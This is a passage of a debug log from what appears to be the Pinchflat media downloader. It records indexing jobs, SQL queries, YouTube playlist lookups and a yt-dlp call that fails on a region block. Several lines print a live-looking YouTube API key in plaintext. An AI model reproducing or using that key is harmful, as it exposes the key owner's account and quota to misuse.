m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:55.470 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:55.470 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 18:07:55.471 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:55.471 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:55.616 [debug] QUERY OK source="media_items" db=0.6ms idle=145.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 18:07:55.617 [debug] QUERY OK source="media_items" db=0.6ms idle=146.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 18:07:55.618 [debug] QUERY OK source="tasks" db=0.1ms idle=146.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800384, 41, ~U[2026-02-11 00:07:55Z], ~U[2026-02-11 00:07:55Z]] 18:07:55.618 [info] {"args":{"id":41},"id":3800345,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":148508,"event":"job:stop","queue_time":513607,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:56.470 [info] {"args":{"id":5},"id":3800346,"meta":{},"system_time":1770768476470697201,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:56.471 [debug] QUERY OK source="sources" db=0.2ms idle=852.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 18:07:56.471 [debug] QUERY OK source="settings" db=0.1ms idle=852.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:56.471 [debug] QUERY OK source="media_profiles" db=0.0ms idle=846.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:56.471 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:56.471 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 18:07:56.471 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:56.471 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:56.583 [debug] QUERY OK source="media_items" db=0.6ms idle=111.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 18:07:56.586 [debug] QUERY OK source="media_items" db=2.4ms idle=112.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 18:07:56.588 [debug] QUERY OK source="tasks" db=0.2ms idle=1.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800385, 5, ~U[2026-02-11 00:07:56Z], ~U[2026-02-11 00:07:56Z]] 18:07:56.588 [info] {"args":{"id":5},"id":3800346,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":117395,"event":"job:stop","queue_time":512588,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:08:00.119 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:08:00.234 [info] {"source":"oban","duration":10800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:01.478 [info] {"args":{"id":1},"id":3800347,"meta":{},"system_time":1770768481478377617,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:08:01.478 [debug] QUERY OK source="sources" db=0.1ms idle=1359.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:08:01.479 [debug] QUERY OK source="settings" db=0.9ms idle=1244.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:01.480 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1010.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:08:01.480 [debug] QUERY OK source="settings" db=0.0ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:01.480 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 18:08:01.480 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:01.480 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:08:01.577 [debug] QUERY OK source="media_items" db=0.5ms idle=98.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 18:08:01.587 [debug] QUERY OK source="media_items" db=9.4ms idle=98.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:08:01.607 [debug] QUERY OK source="tasks" db=1.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800386, 1, ~U[2026-02-11 00:08:01Z], ~U[2026-02-11 00:08:01Z]] 18:08:01.607 [info] {"args":{"id":1},"id":3800347,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128674,"event":"job:stop","queue_time":500033,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:08:04.481 [info] {"args":{"id":6},"id":3800348,"meta":{},"system_time":1770768484481715010,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:08:04.482 [debug] QUERY OK source="sources" db=0.1ms idle=1603.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 18:08:04.482 [debug] QUERY OK source="settings" db=0.0ms idle=1603.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:04.482 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:08:04.482 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:04.482 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 18:08:04.482 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:04.482 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:08:04.551 [debug] QUERY OK source="media_items" db=0.7ms idle=68.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 18:08:04.552 [debug] QUERY OK source="settings" db=0.0ms idle=69.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:04.552 [debug] QUERY OK source="settings" db=0.0ms idle=69.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:04.552 [debug] Running yt-dlp command for action: get_media_attributes 18:08:04.570 [debug] QUERY OK source="settings" db=0.0ms idle=87.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:04.570 [debug] QUERY OK source="settings" db=0.0ms idle=87.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:04.570 [debug] QUERY OK source="settings" db=0.0ms idle=18.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:04.570 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ec/00/ec0042ab218f954a13c7436215555361f666823ae0b680e7b65688f93a376282.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:08:05.880 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ec/00/ec0042ab218f954a13c7436215555361f666823ae0b680e7b65688f93a376282.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, 